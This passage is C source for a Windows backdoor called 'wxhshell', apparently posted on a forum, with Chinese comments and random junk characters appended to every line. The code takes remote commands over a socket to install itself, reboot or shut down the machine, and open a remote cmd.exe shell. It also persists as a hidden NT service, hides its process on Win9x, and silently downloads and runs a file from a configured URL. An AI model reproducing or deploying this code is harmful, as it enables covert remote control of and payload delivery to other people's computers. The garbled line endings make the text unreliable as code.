      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $g),|[ x+(  
    break; \2CEEs'  
  } Yr[& *>S  
  // 安装 i&{%} ==7  
  case 'i': { L_o/fTz4  
    if(Install()) =MT'e,T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XSGBC:U)l  
    else TX;)}\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V>D}z8w7  
    break; ,&L}^Up  
    } y9.?5#aL  
  // 卸载 ja6V*CWb  
  case 'r': { ;SX~u*`R  
    if(Uninstall()) !+]KxB   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sG\K$GP!  
    else sKk+^.K}|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *K BaKS  
    break; =}YX I  
    } !j}L-1*{ l  
  // 显示 wxhshell 所在路径 4W}mPeEeV  
  case 'p': { | ^G38  
    char svExeFile[MAX_PATH]; e;2A{VsD8  
    strcpy(svExeFile,"\n\r"); >`p? CE  
      strcat(svExeFile,ExeFile); mtdy@=?1Y  
        send(wsh,svExeFile,strlen(svExeFile),0); ?!O4ia3nFk  
    break; @8$z2  
    } hzT)5'_  
  // 重启 F|@\IVEB]  
  case 'b': { Tgh?=]H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -hc8IS  
    if(Boot(REBOOT)) _!_1=|[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =2}V=E/85  
    else { zRbY]dW  
    closesocket(wsh); z#1"0Ks&P  
    ExitThread(0); 9E NI%Jz  
    } {h PB%  
    break; UZ#oaD8H6  
    } a$Hq<~46  
  // 关机 ~+ 9v z  
  case 'd': { * eX/Z Cn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M&)\PbMc  
    if(Boot(SHUTDOWN)) 7D1$cmtH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IR#BSfBZ  
    else { c=zSq%e   
    closesocket(wsh); Y6Ux*vhK  
    ExitThread(0); vPc*x5w-  
    } "YW Z&_n**  
    break; .rS. >d^n  
    } r=~K#:66  
  // 获取shell E(vO^)#  
  case 's': { @BG].UJo  
    CmdShell(wsh); `WnsM; 1Y"  
    closesocket(wsh); dFA1nn6{  
    ExitThread(0); sN2m?`?"G  
    break; _,IjB/PR(  
  } ib~i ^_p  
  // 退出 lQBE q"7$  
  case 'x': { 7?{y&sf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @$'pMg  
    CloseIt(wsh); TiF+rA{t  
    break; 3+(lKd  
    } #<Lv&-U<KT  
  // 离开 -/V(Z+dj  
  case 'q': { E AZX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e<*qaUI  
    closesocket(wsh); F-oe49p5e  
    WSACleanup(); >\w]i*%  
    exit(1); vB}c6A4'U  
    break; r7L.W  
        } GdY@$&z{i  
  } v/=\(  
  } >^GV #z  
|:.Uw\z5'  
  // 提示信息 5[4nFa}R:5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C ocw%Yl  
} qDYNY`  
  } 1U/RMN3`  
?$T^L"~  
  return; w52p y7  
} fGqX dlP  
'O\ y7"a  
// shell模块句柄 ^i_+ugJX  
int CmdShell(SOCKET sock) W`NF40)  
{ >3@3~F%xAX  
STARTUPINFO si; EwkSUA>Tm  
ZeroMemory(&si,sizeof(si)); ^+v1[U@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g(;OUkj$Zp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :8hI3]9  
PROCESS_INFORMATION ProcessInfo; Rb.vyQ  
char cmdline[]="cmd"; 6>oc,=MV/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MIn_?r  
  return 0; #o7)eKeQ  
} cjJfxD&q  
+ima$a0Zyt  
// 自身启动模式 |w54!f6w_  
int StartFromService(void) B+mxM/U[c  
{ @c'iT20  
typedef struct {\CWoFht>  
{ 0c`nk\vUy  
  DWORD ExitStatus; c)B3g.C4m  
  DWORD PebBaseAddress; )G Alj;9A$  
  DWORD AffinityMask; xr7}@rq"U<  
  DWORD BasePriority; Dmr*Lh~  
  ULONG UniqueProcessId; y_}vVHT,  
  ULONG InheritedFromUniqueProcessId; 1[8^JVC>6  
}   PROCESS_BASIC_INFORMATION; _#NibW  
iC/*d  
PROCNTQSIP NtQueryInformationProcess; 6lv@4R^u  
u}|v;:|j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d&raHF*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5RFro^S9E  
o{`x:  
  HANDLE             hProcess; 7C 0xKF  
  PROCESS_BASIC_INFORMATION pbi; !%ju.Xs8  
E;{RNf|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m*A b<$y  
  if(NULL == hInst ) return 0; HY FMf3  
e15yDwvB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z<%bNnSO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c:u*-lYmK%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eZqEFMBTm  
ZY]$MZf5yo  
  if (!NtQueryInformationProcess) return 0; ^4+NPk  
d"06 gp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R[j?\#  
  if(!hProcess) return 0; Z4Dx:m-  
|-b\N6 }  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4 ZnQpKg  
WA~[) S0  
  CloseHandle(hProcess); $wp>2  
)9_W"'V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G3io!XM)D  
if(hProcess==NULL) return 0; yRyXlZC  
{$hWz(  
HMODULE hMod; nPdkvs   
char procName[255]; i.uyfV&F  
unsigned long cbNeeded; q i yK  
O>qlWPht  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 41<h|WA  
z$R&u=J  
  CloseHandle(hProcess); Nh}-6|M  
))f@9m  
if(strstr(procName,"services")) return 1; // 以服务启动 g:ky;-G8b  
-Pp{aF e  
  return 0; // 注册表启动 pxgf%P<7  
} R}gdN-941  
c-(RjQ~M5  
// 主模块 N,-C+r5}<4  
int StartWxhshell(LPSTR lpCmdLine) &gY578tU  
{ r=0PW_r:  
  SOCKET wsl; J<"K`|F  
BOOL val=TRUE; 5>.ATfAsV  
  int port=0; Ie/_gz^  
  struct sockaddr_in door; gfj_]  
(m:Q'4Ep  
  if(wscfg.ws_autoins) Install(); ) hs&?: )  
\tYImh  
port=atoi(lpCmdLine); jq%<Z,rh  
O}zHkcL  
if(port<=0) port=wscfg.ws_port; o #\L4P(J  
~*/ >8R(Y  
  WSADATA data; +_J@8k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F_'{:v1GW  
UX63BA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fc@<'-VA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XjN =UhC  
  door.sin_family = AF_INET; klnNBo!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  94PI  
  door.sin_port = htons(port); 9)v]jk  
v)_c*+6u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 81x/ bx@L%  
closesocket(wsl); >^Wpc  
return 1; >W] Wc4 \  
} F\xIVY  
m`-:j"]b$  
  if(listen(wsl,2) == INVALID_SOCKET) { T$"~V u  
closesocket(wsl); fYy w2"  
return 1; pJ}U'*Z2  
} gi,7X\`KQ  
  Wxhshell(wsl); 3-hcKE  
  WSACleanup(); >y#MEN>?  
STjb2t,a  
return 0; %C,zR&]F  
J{dO0!7y  
} Yc]k<tQ  
9 nc_$H{  
// 以NT服务方式启动 .:}<4;Qz94  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Yq00<kIDJ  
{ S1^/W-yoc~  
DWORD   status = 0; _]o7iqtv  
  DWORD   specificError = 0xfffffff; iXo; e  
 VQH48{X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [k\VUg:P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sx=1pnP9`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PWl;pBo  
  serviceStatus.dwWin32ExitCode     = 0; KBtqtE'(L  
  serviceStatus.dwServiceSpecificExitCode = 0; ?%~p@  
  serviceStatus.dwCheckPoint       = 0; #BP0MY&  
  serviceStatus.dwWaitHint       = 0; 2WH(c$6PWf  
f\= @jV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }EwE#sZ#  
  if (hServiceStatusHandle==0) return; l hYJectJa  
Al*=%nY  
status = GetLastError(); 8Pa*d/5Y(  
  if (status!=NO_ERROR) ^2$b8]q  
{ YU-wE';H6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Tx K v!-1  
    serviceStatus.dwCheckPoint       = 0; \A\  
    serviceStatus.dwWaitHint       = 0;  ,c`6-  
    serviceStatus.dwWin32ExitCode     = status; 5 l8F.LtO\  
    serviceStatus.dwServiceSpecificExitCode = specificError; yJC: bD1xi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /c=8$y\%@  
    return; s3JzYDpy  
  } c Q-#]  
02;'"EmP$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YX,;z/Jw2  
  serviceStatus.dwCheckPoint       = 0; seK;TQ3/7  
  serviceStatus.dwWaitHint       = 0; VdM Ksx`r  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @4*eH\3  
} V=+|]`  
==?wG!v2h  
// 处理NT服务事件,比如:启动、停止 A]0R?N9wb_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v1yB   
{ [C4{C4TX  
switch(fdwControl) q[qX O5  
{ nw/g[/<;  
case SERVICE_CONTROL_STOP: Zc_F"KJL  
  serviceStatus.dwWin32ExitCode = 0; 6/wC StZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; oe^JDb#  
  serviceStatus.dwCheckPoint   = 0; <`SA >P  
  serviceStatus.dwWaitHint     = 0; 83V\O_7j  
  { #pAN   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 81|[Y'f  
  } kK}?NKqT  
  return; B^TgEr  
case SERVICE_CONTROL_PAUSE: I/St=-;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C<a&]dN/  
  break; &?QKWxN  
case SERVICE_CONTROL_CONTINUE: IxWi>8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Gq1C"s$4'  
  break; <ndY6n3  
case SERVICE_CONTROL_INTERROGATE: THOYx :Nr;  
  break; jNX6Ct?  
}; W7|nc,i0\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4>d]0=x  
} 8u)>o* :  
a+v.(mCG  
// 标准应用程序主函数 sSKD"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )UU`uzU;u  
{ B=W#eu <1  
8hww({S2  
// 获取操作系统版本 30I-E ._F  
OsIsNt=GetOsVer(); qm_r~j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g; -3  
Jb> X$|N'%  
  // 从命令行安装 Da[#X`Kp$  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y]6d Yq{k  
cCiDe`T\F  
  // 下载执行文件 t3.;qDy  
if(wscfg.ws_downexe) { RRy D<7s1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;>ml@@Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); b (H J|  
} %?V~7tHm>  
_M8'~$Sg  
if(!OsIsNt) { EVqqOp1$v4  
// 如果时win9x,隐藏进程并且设置为注册表启动 au=@]n#<(  
HideProc(); )xU+M{p-os  
StartWxhshell(lpCmdLine); 6X'0 T}  
} 7fWZ/;p  
else 8H};pu2  
  if(StartFromService()) |ul{d|  
  // 以服务方式启动 % mPv1$FH  
  StartServiceCtrlDispatcher(DispatchTable); 'e<8j  
else FU*q9s`  
  // 普通方式启动 fS'` 9  
  StartWxhshell(lpCmdLine); AwuhF PG  
w#BT/6W&G  
return 0; OD Ry  
}
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只看该作者 1 发表于: 2006-10-10
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